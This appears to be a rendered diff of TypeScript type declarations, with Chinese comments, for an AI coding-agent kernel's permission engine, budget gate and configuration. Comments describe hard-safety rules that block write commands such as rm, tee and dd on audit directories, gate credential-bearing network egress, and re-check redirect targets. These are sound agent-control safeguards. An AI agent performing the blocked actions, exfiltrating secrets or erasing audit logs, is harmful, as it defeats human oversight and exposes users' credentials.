* protected-path 的 ask。覆盖:路径工具(Write/Edit)落审计目录;shell
|
|
8453
|
+
* 侧**默认拒**——审计路径被 argv 引用时仅纯读白名单命令
|
|
8454
|
+
* (cat/head/grep/Get-Content/…)放行,写语义命令(rm/cp/mv/tee/sed -i/
|
|
8455
|
+
* dd/Set-Content/Copy-Item/Move-Item/Out-File…)不再逐一枚举,引用即拒;
|
|
8456
|
+
* 写向重定向(`>`/`>>`)落审计目录无条件拒。审计目录 = 配置注入的
|
|
8457
|
+
* canonical 目录集(managed/装配层)+ 结构默认「`.tansr` 段紧随 `audit`
|
|
8458
|
+
* 段」的任意路径。
|
|
8459
|
+
*
|
|
8460
|
+
* 3. **凭据出线(工具级)**:同一组合谓词(secret.access +
|
|
8461
|
+
* network.egress)的**工具半边**——Http 工具携 `auth`(bearer / basic / header 任一
|
|
8462
|
+
* type,引用进程环境变量)向会话内容给出的目的地出线。与 Shell 半边同一份词表
|
|
8463
|
+
* (EGRESS_TOOL_NAMES / SECRET_BEARING_TOOL_ARGS 两常量,裁决人提示的 `<tool>` 段与
|
|
8464
|
+
* ask 面文案同源取词),但处置为 **全模式恒 ask**(而非 deny):凭据经 Http 出线是
|
|
8465
|
+
* BYO 集成的正当用法,红线只在「不得静默放行」——auto / bypass / `allow:['Http']` /
|
|
8466
|
+
* 分类器 safe / 会话缓存 allow 全部压不过;无询问通道(headless / serve / mcp serve /
|
|
8467
|
+
* dontAsk)由下游地板 deny。任何 deny 终局(配置 deny / plan 拒写 / 基线)不被软化
|
|
8468
|
+
* (引擎以「非 deny 终局升档为 ask」落地)。ask 理由携带**变量名 + 方法 + 目的地
|
|
8469
|
+
* origin**(绝不含值),TUI 弹卡 / ACP attribution 既有渲染即显。名单
|
|
8470
|
+
* (`http.allowedAuthEnvVars`)只决定「哪些变量可用」,不软化本闸。
|
|
8471
|
+
*
|
|
8472
|
+
* 与既有层的关系:protected-paths(4.7 段,ask)对 `.git`/`.tansr` 仍在——
|
|
8473
|
+
* 本层只把其中「秘密外发」「审计抹除」两个不可逆红线**提级为 deny**。
|
|
8474
|
+
*
|
|
8475
|
+
* 零 IO 铁律:本层纯文本判定(命令结构树 + canonical 文本),不解析
|
|
8476
|
+
* 链接、不落盘;真实目标验证由执行边界守卫负责。
|
|
8477
|
+
*/
|
|
8478
|
+
|
|
8240
8479
|
/** hard-safety 追加面(managed/装配层注入;项目层永不可触) */
|
|
8241
8480
|
interface HardSafetyConfig {
|
|
8242
8481
|
/** 追加 egress 命令实体(小写 basename) */
|
|
8243
8482
|
extraEgressCommands?: readonly string[];
|
|
8244
8483
|
/** 审计目录 canonical 绝对路径集(命中即 audit.modify 面) */
|
|
8245
8484
|
auditDirs?: readonly string[];
|
|
8485
|
+
/** 宿主 shell 方言(缺省 posix;引擎按 detectHostShell 传入,与执行器实际派生的 shell 一致) */
|
|
8486
|
+
hostShell?: HostShell;
|
|
8246
8487
|
}
|
|
8247
8488
|
|
|
8248
8489
|
/**
|
|
@@ -8322,6 +8563,12 @@ interface PermissionEngineConfig {
|
|
|
8322
8563
|
* os.homedir())。仅测试与特殊装配需要注入;与基线同开关。
|
|
8323
8564
|
*/
|
|
8324
8565
|
homedir?: string;
|
|
8566
|
+
/**
|
|
8567
|
+
* 宿主 shell 方言:Shell 命令词法 / 结构树 / hard-safety / 分类器事实
|
|
8568
|
+
* 所用的方言。缺省 `detectHostShell()`——跟随执行器实际派生的 shell(win32 →
|
|
8569
|
+
* powershell,其余 → posix),引擎与执行器同一事实源;测试或跨平台装配可显式指定。
|
|
8570
|
+
*/
|
|
8571
|
+
hostShell?: HostShell;
|
|
8325
8572
|
/**
|
|
8326
8573
|
* hard-safety 层追加面(INV-2)。内置子集恒启用、
|
|
8327
8574
|
* **不受 baseline.enabled 与 disableBaselineProtection 影响**(绝对
|
|
@@ -11709,7 +11956,13 @@ type CompactNowRejectReason =
|
|
|
11709
11956
|
* PreCompact hook 阻断本次压缩(exit 2 / decision=deny|block)。
|
|
11710
11957
|
* 显式协议行为而非故障——hook 作者对压缩行使否决权,历史未改动。
|
|
11711
11958
|
*/
|
|
11712
|
-
| 'hook_blocked'
|
|
11959
|
+
| 'hook_blocked'
|
|
11960
|
+
/**
|
|
11961
|
+
* 消费方已关闭事件迭代器(events.return()/throw(),含 for-await 提前 break)
|
|
11962
|
+
* ——本轮随之取消,不再经过任何屏障点;关闭前排队的悬诺与关闭后的调用皆
|
|
11963
|
+
* 立即以本值拒绝(不悬挂)。与 turn_ended(自然终局)可区分。
|
|
11964
|
+
*/
|
|
11965
|
+
| 'query_closed';
|
|
11713
11966
|
/** compactNow 的结算结果(在下一个屏障点执行后兑现) */
|
|
11714
11967
|
type CompactNowResult =
|
|
11715
11968
|
/** K-5:checkpointId = beforeCompact 钩子落的压缩前快照 id(与 outcome.checkpointId 同值;缺席 = 未落) */
|
|
@@ -11726,9 +11979,57 @@ type CompactNowResult =
|
|
|
11726
11979
|
status: 'rejected';
|
|
11727
11980
|
reason: CompactNowRejectReason;
|
|
11728
11981
|
};
|
|
11729
|
-
/**
|
|
11982
|
+
/**
|
|
11983
|
+
* OPT-03 — 预算闸门的消耗快照(contract-v0.7,RFC-OPT3-2)。
|
|
11984
|
+
* 两个口径都是「会话累计」而非本次查询:预算是会话级约定,多次 runQuery
|
|
11985
|
+
* (TUI 多轮)共享同一账本。
|
|
11986
|
+
*/
|
|
11987
|
+
interface BudgetSpend {
|
|
11988
|
+
/** USD 币种桶的纳元累计(1e-9 美元;cost/tracker.ts 快照口径)。无 USD 记账恒 0 */
|
|
11989
|
+
usdNano: number;
|
|
11990
|
+
/**
|
|
11991
|
+
* token 合计 = 输入 + 输出 + 缓存读 + 缓存写;思考(reasoning)视为输出的子集
|
|
11992
|
+
* 不叠加(RF-06 / RV-1-02:口径单点 cost/budget-spend.ts `budgetSpendOf`,
|
|
11993
|
+
* 装配层不得自持公式)。provider 明示思考单列(能力位 quirks.reasoningTokens =
|
|
11994
|
+
* 'separate')的行由 CostTracker.record 逐行把思考量并入该行输出(RF-P3a),
|
|
11995
|
+
* 快照恒为正则形,本口径无会话级选项。
|
|
11996
|
+
*/
|
|
11997
|
+
totalTokens: number;
|
|
11998
|
+
}
|
|
11999
|
+
/**
|
|
12000
|
+
* OPT-03 — 预算熔断闸门(contract-v0.7)。闸门只在 assembling 屏障点比对
|
|
12001
|
+
* (不截断流式中/工具执行中——已发出的调用跑完、配对完整落史后才终局):
|
|
12002
|
+
* 任一上限触顶(≥)即超限;onExceeded='block'(缺省)以 turn.aborted/
|
|
12003
|
+
* budget_exceeded 终止,'warn' 每次查询至多告警一次(turn.error scope='budget',
|
|
12004
|
+
* recoverable)后照常继续。getSpend 由装配层闭包接会话 CostTracker;抛错按
|
|
12005
|
+
* 可恢复 turn.error 降级并跳过本屏障比对(闸门失效好过误杀会话)。
|
|
12006
|
+
*/
|
|
12007
|
+
interface RunQueryBudget {
|
|
12008
|
+
/** USD 上限(美元;比对 spend.usdNano ≥ maxUsd×1e9)。币种限界见 BudgetSpend */
|
|
12009
|
+
maxUsd?: number;
|
|
12010
|
+
/** token 总量上限(比对 spend.totalTokens;币种无关兜底) */
|
|
12011
|
+
maxTotalTokens?: number;
|
|
12012
|
+
/** 缺省 'block' */
|
|
12013
|
+
onExceeded?: 'block' | 'warn';
|
|
12014
|
+
/** 会话累计消耗读取闭包(每个屏障点求值一次) */
|
|
12015
|
+
getSpend: () => BudgetSpend;
|
|
12016
|
+
}
|
|
12017
|
+
/**
|
|
12018
|
+
* 查询环计数。
|
|
12019
|
+
* - modelTurns 预算口径的模型轮(maxTurns 比对位);
|
|
12020
|
+
* - apiRounds 模型派发总数(恒不退还);
|
|
12021
|
+
* - recoveryAttempts 同轮恢复重试数(恢复重试可观测,不混进预算轮);
|
|
12022
|
+
* - toolRounds 工具轮;
|
|
12023
|
+
* - HTTP 尝试数不在此计数:provider 重试环以错误事件的 retrySummary.attempts
|
|
12024
|
+
* 上报,查询环只汇入终局 turn.error 文案。
|
|
12025
|
+
* 不变量:apiRounds − modelTurns = 被退还的可恢复错误重试数 ≤ recoveryAttempts。
|
|
12026
|
+
*/
|
|
11730
12027
|
interface QueryCounters {
|
|
11731
|
-
/**
|
|
12028
|
+
/**
|
|
12029
|
+
* 预算口径的模型轮:每次派发(进入 streaming)+1;**可恢复错误的同轮重试退还**
|
|
12030
|
+
* (零产出零成本,不烧 maxTurns 预算);上下文溢出的压缩重试与输出触帽的
|
|
12031
|
+
* 升档重发不退还(前者已消耗上游请求、后者响应已产出成本)。
|
|
12032
|
+
*/
|
|
11732
12033
|
modelTurns: number;
|
|
11733
12034
|
/** 工具执行轮次(每批工具 +1) */
|
|
11734
12035
|
toolRounds: number;
|
|
@@ -11742,10 +12043,30 @@ interface QueryCounters {
|
|
|
11742
12043
|
* kernel 查询环恒初始化并如实累计。
|
|
11743
12044
|
*/
|
|
11744
12045
|
outputCapEscalations?: number;
|
|
12046
|
+
/**
|
|
12047
|
+
* 模型派发总数:每次进入 streaming +1,**恒不退还**(与 modelTurns 的差 =
|
|
12048
|
+
* 被退还的可恢复错误重试数)。纯追加可选字段:缺席 = 0(旧消费方 / 测试替身
|
|
12049
|
+
* 零迁移);查询环恒初始化并如实累计。
|
|
12050
|
+
*/
|
|
12051
|
+
apiRounds?: number;
|
|
12052
|
+
/**
|
|
12053
|
+
* 同轮恢复重试次数:可恢复错误重发 / 上下文溢出压缩重试 / 输出触帽升档重发
|
|
12054
|
+
* 三类回边各 +1(升档重发同时计入 outputCapEscalations)。纯追加可选字段:
|
|
12055
|
+
* 缺席 = 0;查询环恒初始化并累计。
|
|
12056
|
+
*/
|
|
12057
|
+
recoveryAttempts?: number;
|
|
11745
12058
|
}
|
|
11746
12059
|
/** runQuery 返回句柄(《07》§1.6 ⑨:排队输入只经 enqueueUserInput 进入屏障) */
|
|
11747
12060
|
interface QueryHandle {
|
|
11748
|
-
/**
|
|
12061
|
+
/**
|
|
12062
|
+
* 事件流:protocol 完整事件(包络+负载),seq 单调。
|
|
12063
|
+
*
|
|
12064
|
+
* 关闭即取消:消费方调用 `return()` / `throw()`(含 for-await 提前 break)= 走人,
|
|
12065
|
+
* 本轮随之取消——内部信号以 ITERATOR_CLOSED_ABORT_REASON 中止,在飞模型流 /
|
|
12066
|
+
* 工具批经 ctx.signal 见到 abort 提前退出;**不签发终局事件**(消费方已离场);
|
|
12067
|
+
* 状态机在有界步数内进入 terminated,messages() 经配对补齐仍可续会话;
|
|
12068
|
+
* compactNow 悬诺以 query_closed 兑现。终局之后的 return()/throw() 为无害 no-op。
|
|
12069
|
+
*/
|
|
11749
12070
|
events: AsyncGenerator<KernelEvent, void, undefined>;
|
|
11750
12071
|
/**
|
|
11751
12072
|
* 等待已经启动的查询及模型/工具生成器真实收尾,不消费事件、不中止。
|
|
@@ -11788,7 +12109,8 @@ interface QueryHandle {
|
|
|
11788
12109
|
* 返回的 promise 在屏障点执行后兑现;并发调用合流到同一次执行。
|
|
11789
12110
|
* 未接压缩缝立即拒绝 not_configured;已终态(或排队后直到终态未再经过
|
|
11790
12111
|
* 屏障点)拒绝 turn_ended——轮与轮之间的手动压缩由装配层直接走
|
|
11791
|
-
* ContextManager.compact(本句柄生命周期只覆盖单轮)
|
|
12112
|
+
* ContextManager.compact(本句柄生命周期只覆盖单轮);消费方已关闭事件
|
|
12113
|
+
* 迭代器(关闭即取消)拒绝 query_closed。
|
|
11792
12114
|
* 注意:promise 由事件流消费驱动兑现,须与 events 消费并发等待。
|
|
11793
12115
|
* 可选能力位:runQuery 恒提供;第三方最小实现(测试假句柄等)可缺省,
|
|
11794
12116
|
* 消费方以 `handle.compactNow?.()` 探测。
|
|
@@ -11905,6 +12227,14 @@ interface GateDecideHints {
|
|
|
11905
12227
|
* 旧实现忽略 = 现状(二次咨询照跑;方向不宽,无安全回退面)。
|
|
11906
12228
|
*/
|
|
11907
12229
|
approvalRedecide?: boolean;
|
|
12230
|
+
/**
|
|
12231
|
+
* 派生目标重判位:工具执行中途得到新目标(WebFetch 3xx Location
|
|
12232
|
+
* 的跳转跳)时对**同一 tool_use_id** 以替换后 args 重判——副作用面跳过与
|
|
12233
|
+
* fallbackRedecide 同律,**分类器咨询恒跳过**(与 approvalRedecide 同律:
|
|
12234
|
+
* 首判已咨询,派生跳只问引擎规则 / egress;ask 由工具按各自纪律处置)。
|
|
12235
|
+
* 旧实现忽略 = 复跑完整门(方向不宽,无安全回退面)。
|
|
12236
|
+
*/
|
|
12237
|
+
derivedTargetRedecide?: boolean;
|
|
11908
12238
|
}
|
|
11909
12239
|
/** 权限门:调度器在每次工具执行前调用 decide,取 allow / deny / ask 结构化决策。 */
|
|
11910
12240
|
interface PermissionGate {
|
|
@@ -12182,6 +12512,14 @@ interface ToolContext {
|
|
|
12182
12512
|
* 与索引写后体检。缺省 = 门关,工具行为与现状逐字节一致。
|
|
12183
12513
|
*/
|
|
12184
12514
|
memoryWrite?: MemoryWriteContext;
|
|
12515
|
+
/**
|
|
12516
|
+
* 派生目标重裁缝:工具在执行中途得到**新的目标**(WebFetch 的 3xx
|
|
12517
|
+
* Location、后续同类派生面)时,以替换后的 args 请求门对**同一 tool_use_id** 重裁——
|
|
12518
|
+
* 调度器注入为 `gate.decide({...call, args}, { derivedTargetRedecide: true })`(同一
|
|
12519
|
+
* gate、跳过副作用面与裁决人咨询,只走引擎规则 / egress 判定)。可选——直调 / 无门
|
|
12520
|
+
* 执行器缺省时工具按各自纪律 fail-closed(WebFetch:跨域跳转一律拒)。
|
|
12521
|
+
*/
|
|
12522
|
+
readjudicate?: (args: Record<string, unknown>) => GateDecision | Promise<GateDecision>;
|
|
12185
12523
|
}
|
|
12186
12524
|
/** 工具结果的单个内容块:文本,或 base64 编码的图片。 */
|
|
12187
12525
|
type ToolResultContent = {
|
|
@@ -12219,8 +12557,22 @@ interface Tool<Args = unknown> {
|
|
|
12219
12557
|
* (请求字节与现状逐字节一致)。执行语义与本字段无关。
|
|
12220
12558
|
*/
|
|
12221
12559
|
shortDescription?: string;
|
|
12222
|
-
/**
|
|
12560
|
+
/**
|
|
12561
|
+
* 参数 schema(zod;经 zod-to-json-schema 或手写 JSON Schema 暴露给模型由网关层处理)。
|
|
12562
|
+
* 兑现点在调度器:每次调用执行前按本 schema 校验(见 `argsValidation`),不合法即以
|
|
12563
|
+
* `invalid_args` 结构化失败回填模型、`execute` 不被调用。校验只作门:通过后权限裁决与
|
|
12564
|
+
* `execute` 见到的仍是调用方给出的同一个原参对象(缺省值补齐、schema 外键剥除、
|
|
12565
|
+
* `.transform()` 产物均不下行);需要解析产物的工具在 `execute` 内自行 parse——这是
|
|
12566
|
+
* 既有约定,含非幂等 transform 的 schema 因此合法。
|
|
12567
|
+
*/
|
|
12223
12568
|
inputSchema: z.ZodType<Args>;
|
|
12569
|
+
/**
|
|
12570
|
+
* 入参校验归属。缺省(`undefined` / `'dispatcher'`)= 调度器按 `inputSchema` 中央校验;
|
|
12571
|
+
* `'remote'` = 本地不校验、原参透传,由远端按其自身契约裁定——用于 `inputSchema`
|
|
12572
|
+
* 只是远端契约宽松投影的桥接工具(MCP 服务端工具),避免本地 schema 把远端
|
|
12573
|
+
* 可接受的参数拦在门外。
|
|
12574
|
+
*/
|
|
12575
|
+
argsValidation?: 'dispatcher' | 'remote';
|
|
12224
12576
|
/** 只读工具可并发、可在 plan 模式放行(声明即契约,调度器强制) */
|
|
12225
12577
|
isReadOnly: boolean;
|
|
12226
12578
|
/**
|
|
@@ -12743,8 +13095,13 @@ declare class PermissionEngine {
|
|
|
12743
13095
|
/** TMEM/1 carve-out(4.95 段):canonical + 大小写折叠后的记忆目录集;空集 = 缝不在场 */
|
|
12744
13096
|
private readonly memoryCarveOutDirs;
|
|
12745
13097
|
private readonly memoryCarveOutCaseInsensitive;
|
|
12746
|
-
/** hard-safety 追加面(内置子集恒启用,本配置只追加 egress/审计目录) */
|
|
13098
|
+
/** hard-safety 追加面(内置子集恒启用,本配置只追加 egress/审计目录 + 宿主 shell) */
|
|
12747
13099
|
private readonly hardSafetyConfig;
|
|
13100
|
+
/**
|
|
13101
|
+
* 宿主 shell 方言:缺省跟随执行器实际派生的 shell(detectHostShell
|
|
13102
|
+
* 单一事实源),Shell 命令词法 / 结构树 / hard-safety / 分类器事实全部同一方言。
|
|
13103
|
+
*/
|
|
13104
|
+
private readonly hostShell;
|
|
12748
13105
|
/** 会话污点(跨调用窄实现):秘密面被读取后置真,egress/publish 恒 ask */
|
|
12749
13106
|
private secretTainted;
|
|
12750
13107
|
/** LLM 权限分类器(OPT-18;缺省不注入 = 无分类器路径) */
|
|
@@ -12764,6 +13121,8 @@ declare class PermissionEngine {
|
|
|
12764
13121
|
private classifierCacheMisses;
|
|
12765
13122
|
constructor(config?: PermissionEngineConfig);
|
|
12766
13123
|
getMode(): PermissionMode;
|
|
13124
|
+
/** 词法选项(宿主 shell 方言)——resolveTarget / 结构树 / 分类器事实同一份 */
|
|
13125
|
+
private get lexOptions();
|
|
12767
13126
|
setMode(mode: PermissionMode): void;
|
|
12768
13127
|
/**
|
|
12769
13128
|
* 调度器在用户选择"本会话总是允许/拒绝"后回写。
|
|
@@ -12811,10 +13170,10 @@ declare class PermissionEngine {
|
|
|
12811
13170
|
*/
|
|
12812
13171
|
private readOnlyShellVerdict;
|
|
12813
13172
|
/**
|
|
12814
|
-
* 秘密探针(R0
|
|
12815
|
-
* - 'blocked':不可规范解析(UNC、ADS 冒号、DOS 短名 `~N
|
|
12816
|
-
* 或解析后出工作区——调用方整条回落原链
|
|
12817
|
-
*
|
|
13173
|
+
* 秘密探针(R0 内容/搜索面实参;路径归一走 path-arg.ts 单点,与 fast-path / allow 同源):
|
|
13174
|
+
* - 'blocked':不可规范解析(UNC、ADS 冒号、DOS 短名 `~N`、控制字符、盘符相对、
|
|
13175
|
+
* 尾点/尾空格、设备名、`~` 家目录)或解析后出工作区——调用方整条回落原链
|
|
13176
|
+
* (fail-to-ask,不猜测语义;工作区包含与路径工具 R0 同一红线纪律);
|
|
12818
13177
|
* - 'secret':命中基线秘密面(Read 探身走 matchBaseline,口径与
|
|
12819
13178
|
* FastPathGuard.isProtectedContentPath 一致——含例外/配置 allow 中和,
|
|
12820
13179
|
* 基线关闭或整体替换时随之放行/改判,用户显式决策优先);
|
|
@@ -13528,7 +13887,13 @@ interface SegmentationOptions {
|
|
|
13528
13887
|
|
|
13529
13888
|
/** 核警告(store 层经 onStoreWarning / turn.error 等出线;码集加法) */
|
|
13530
13889
|
interface SessionStoreCoreWarning {
|
|
13531
|
-
|
|
13890
|
+
/**
|
|
13891
|
+
* store_seal_failed:RF-06 追加已落盘但封段句柄失败(记录保留不重写,游标缓存作废)。
|
|
13892
|
+
* store_unknown_kinds:RFC-RF-2 C(RF-J1)全量读到词表外 kind(model=false)记录——已留档跳过、
|
|
13893
|
+
* 链完好,只不进 messages;detail { sessionId, unknownKinds, warnings }。两店经既有 onStoreWarning 出线,
|
|
13894
|
+
* 不新造通道;宿主未接 onStoreWarning 则静默(读本身照常成功)。
|
|
13895
|
+
*/
|
|
13896
|
+
code: 'store_prefix_mismatch' | 'store_pending_rewrite' | 'store_seal_failed' | 'store_unknown_kinds';
|
|
13532
13897
|
message: string;
|
|
13533
13898
|
detail?: Record<string, unknown>;
|
|
13534
13899
|
}
|
|
@@ -14406,6 +14771,28 @@ interface CheckpointRetention {
|
|
|
14406
14771
|
*/
|
|
14407
14772
|
declare const CHECKPOINT_EXPORT_FORMAT: "tansr-checkpoint/1";
|
|
14408
14773
|
|
|
14774
|
+
/** 上下文预算的只读本地估算,与模型返回的计费用量分别表示。 */
|
|
14775
|
+
|
|
14776
|
+
/** 可序列化的上下文预算快照;null 表示未知,本地估算不代表平台计费用量。 */
|
|
14777
|
+
interface ContextBudgetState {
|
|
14778
|
+
physicalWindowTokens: number | null;
|
|
14779
|
+
effectiveWindowTokens: number | null;
|
|
14780
|
+
estimatedInputTokens: number;
|
|
14781
|
+
outputReserveTokens: number;
|
|
14782
|
+
thinkingReserveTokens: number | null;
|
|
14783
|
+
remainingTokens: number | null;
|
|
14784
|
+
fits: boolean | null;
|
|
14785
|
+
thresholds: {
|
|
14786
|
+
microcompactAt: number;
|
|
14787
|
+
warningAt: number;
|
|
14788
|
+
autoCompactAt: number;
|
|
14789
|
+
blockingAt: number;
|
|
14790
|
+
summaryReserveTokens: number;
|
|
14791
|
+
} | null;
|
|
14792
|
+
source: 'local_estimate';
|
|
14793
|
+
settingsSource: 'model' | 'configured' | 'external_manager' | 'unknown';
|
|
14794
|
+
}
|
|
14795
|
+
|
|
14409
14796
|
/**
|
|
14410
14797
|
* 交互通道抽象:AskUser 工具与表面层之间的依赖注入缝。
|
|
14411
14798
|
*
|
|
@@ -15220,6 +15607,33 @@ declare const ImageGenArgsSchema: z.ZodObject<{
|
|
|
15220
15607
|
/** ImageGen 工具的已校验参数类型(ImageGenArgsSchema 推导)。 */
|
|
15221
15608
|
type ImageGenArgs = z.infer<typeof ImageGenArgsSchema>;
|
|
15222
15609
|
|
|
15610
|
+
/** 按汉字 2、其他 Unicode 码点 1 估算语音输入字符数;实际计费量以平台结果为准。 */
|
|
15611
|
+
declare function countSpeechCharacters(input: string): number;
|
|
15612
|
+
/** 已通过本地校验的朗读文本、加权字符数、每段上限及按原顺序排列的文本片段。 */
|
|
15613
|
+
interface SpeechInputPlan {
|
|
15614
|
+
text: string;
|
|
15615
|
+
estimatedCharacters: number;
|
|
15616
|
+
maxCharacters: number;
|
|
15617
|
+
segments: string[];
|
|
15618
|
+
}
|
|
15619
|
+
/** 朗读准备结果;拒绝时返回原因、估算字符数及已知上限,不调用语音服务。 */
|
|
15620
|
+
type SpeechInputPlanResult = {
|
|
15621
|
+
status: 'ready';
|
|
15622
|
+
plan: SpeechInputPlan;
|
|
15623
|
+
} | {
|
|
15624
|
+
status: 'rejected';
|
|
15625
|
+
reason: 'empty_input' | 'unknown_limit' | 'invalid_configuration' | 'input_too_large' | 'segmentation_required' | 'segment_limit';
|
|
15626
|
+
estimatedCharacters: number;
|
|
15627
|
+
maxCharacters: number | null;
|
|
15628
|
+
};
|
|
15629
|
+
/** 去除首尾空白后校验朗读文本,仅显式允许时按 Unicode 码点完整分段;每段同时遵守模型加权帽与请求体的 20000 UTF-16 单元帽,不调用计费端点。 */
|
|
15630
|
+
declare function planSpeechInput(input: string, options?: {
|
|
15631
|
+
maxCharacters?: number;
|
|
15632
|
+
segment?: boolean;
|
|
15633
|
+
maxTotalCharacters?: number;
|
|
15634
|
+
maxSegments?: number;
|
|
15635
|
+
}): SpeechInputPlanResult;
|
|
15636
|
+
|
|
15223
15637
|
/**
|
|
15224
15638
|
* MCP 结构化错误。
|
|
15225
15639
|
*
|
|
@@ -16898,6 +17312,7 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
16898
17312
|
modelsEndpoint: z.ZodOptional<z.ZodBoolean>;
|
|
16899
17313
|
minTimeoutMs: z.ZodOptional<z.ZodNumber>;
|
|
16900
17314
|
maxTokensExcludesReasoning: z.ZodOptional<z.ZodBoolean>;
|
|
17315
|
+
reasoningTokens: z.ZodOptional<z.ZodEnum<["subset_of_output", "separate"]>>;
|
|
16901
17316
|
}, "strip", z.ZodTypeAny, {
|
|
16902
17317
|
stopSequences?: "ignored" | "honored" | "misreported_end_turn" | undefined;
|
|
16903
17318
|
unknownModelFallback?: boolean | undefined;
|
|
@@ -16908,6 +17323,7 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
16908
17323
|
modelsEndpoint?: boolean | undefined;
|
|
16909
17324
|
minTimeoutMs?: number | undefined;
|
|
16910
17325
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
17326
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
16911
17327
|
}, {
|
|
16912
17328
|
stopSequences?: "ignored" | "honored" | "misreported_end_turn" | undefined;
|
|
16913
17329
|
unknownModelFallback?: boolean | undefined;
|
|
@@ -16918,6 +17334,7 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
16918
17334
|
modelsEndpoint?: boolean | undefined;
|
|
16919
17335
|
minTimeoutMs?: number | undefined;
|
|
16920
17336
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
17337
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
16921
17338
|
}>>;
|
|
16922
17339
|
hostedTools: z.ZodOptional<z.ZodArray<z.ZodString, "many">>;
|
|
16923
17340
|
background: z.ZodOptional<z.ZodBoolean>;
|
|
@@ -16970,6 +17387,7 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
16970
17387
|
modelsEndpoint?: boolean | undefined;
|
|
16971
17388
|
minTimeoutMs?: number | undefined;
|
|
16972
17389
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
17390
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
16973
17391
|
} | undefined;
|
|
16974
17392
|
hostedTools?: string[] | undefined;
|
|
16975
17393
|
background?: boolean | undefined;
|
|
@@ -17022,6 +17440,7 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
17022
17440
|
modelsEndpoint?: boolean | undefined;
|
|
17023
17441
|
minTimeoutMs?: number | undefined;
|
|
17024
17442
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
17443
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
17025
17444
|
} | undefined;
|
|
17026
17445
|
hostedTools?: string[] | undefined;
|
|
17027
17446
|
background?: boolean | undefined;
|
|
@@ -17082,6 +17501,7 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
17082
17501
|
modelsEndpoint?: boolean | undefined;
|
|
17083
17502
|
minTimeoutMs?: number | undefined;
|
|
17084
17503
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
17504
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
17085
17505
|
} | undefined;
|
|
17086
17506
|
hostedTools?: string[] | undefined;
|
|
17087
17507
|
background?: boolean | undefined;
|
|
@@ -17154,6 +17574,7 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
17154
17574
|
modelsEndpoint?: boolean | undefined;
|
|
17155
17575
|
minTimeoutMs?: number | undefined;
|
|
17156
17576
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
17577
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
17157
17578
|
} | undefined;
|
|
17158
17579
|
hostedTools?: string[] | undefined;
|
|
17159
17580
|
background?: boolean | undefined;
|
|
@@ -17303,12 +17724,12 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
17303
17724
|
/** 活段记录数阈值(缺省 kernel DEFAULT_SEGMENT_MAX_RECORDS = 5000) */
|
|
17304
17725
|
maxRecords: z.ZodOptional<z.ZodNumber>;
|
|
17305
17726
|
}, "strip", z.ZodTypeAny, {
|
|
17306
|
-
enabled?: boolean | undefined;
|
|
17307
17727
|
maxBytes?: number | undefined;
|
|
17728
|
+
enabled?: boolean | undefined;
|
|
17308
17729
|
maxRecords?: number | undefined;
|
|
17309
17730
|
}, {
|
|
17310
|
-
enabled?: boolean | undefined;
|
|
17311
17731
|
maxBytes?: number | undefined;
|
|
17732
|
+
enabled?: boolean | undefined;
|
|
17312
17733
|
maxRecords?: number | undefined;
|
|
17313
17734
|
}>>;
|
|
17314
17735
|
/**
|
|
@@ -17336,8 +17757,8 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
17336
17757
|
checkpointsDir?: string | undefined;
|
|
17337
17758
|
autoCheckpointBeforeCompact?: boolean | undefined;
|
|
17338
17759
|
segmentation?: {
|
|
17339
|
-
enabled?: boolean | undefined;
|
|
17340
17760
|
maxBytes?: number | undefined;
|
|
17761
|
+
enabled?: boolean | undefined;
|
|
17341
17762
|
maxRecords?: number | undefined;
|
|
17342
17763
|
} | undefined;
|
|
17343
17764
|
}, {
|
|
@@ -17349,8 +17770,8 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
17349
17770
|
checkpointsDir?: string | undefined;
|
|
17350
17771
|
autoCheckpointBeforeCompact?: boolean | undefined;
|
|
17351
17772
|
segmentation?: {
|
|
17352
|
-
enabled?: boolean | undefined;
|
|
17353
17773
|
maxBytes?: number | undefined;
|
|
17774
|
+
enabled?: boolean | undefined;
|
|
17354
17775
|
maxRecords?: number | undefined;
|
|
17355
17776
|
} | undefined;
|
|
17356
17777
|
}>>;
|
|
@@ -17424,6 +17845,7 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
17424
17845
|
modelsEndpoint?: boolean | undefined;
|
|
17425
17846
|
minTimeoutMs?: number | undefined;
|
|
17426
17847
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
17848
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
17427
17849
|
} | undefined;
|
|
17428
17850
|
hostedTools?: string[] | undefined;
|
|
17429
17851
|
background?: boolean | undefined;
|
|
@@ -17691,8 +18113,8 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
17691
18113
|
checkpointsDir?: string | undefined;
|
|
17692
18114
|
autoCheckpointBeforeCompact?: boolean | undefined;
|
|
17693
18115
|
segmentation?: {
|
|
17694
|
-
enabled?: boolean | undefined;
|
|
17695
18116
|
maxBytes?: number | undefined;
|
|
18117
|
+
enabled?: boolean | undefined;
|
|
17696
18118
|
maxRecords?: number | undefined;
|
|
17697
18119
|
} | undefined;
|
|
17698
18120
|
} | undefined;
|
|
@@ -17883,6 +18305,7 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
17883
18305
|
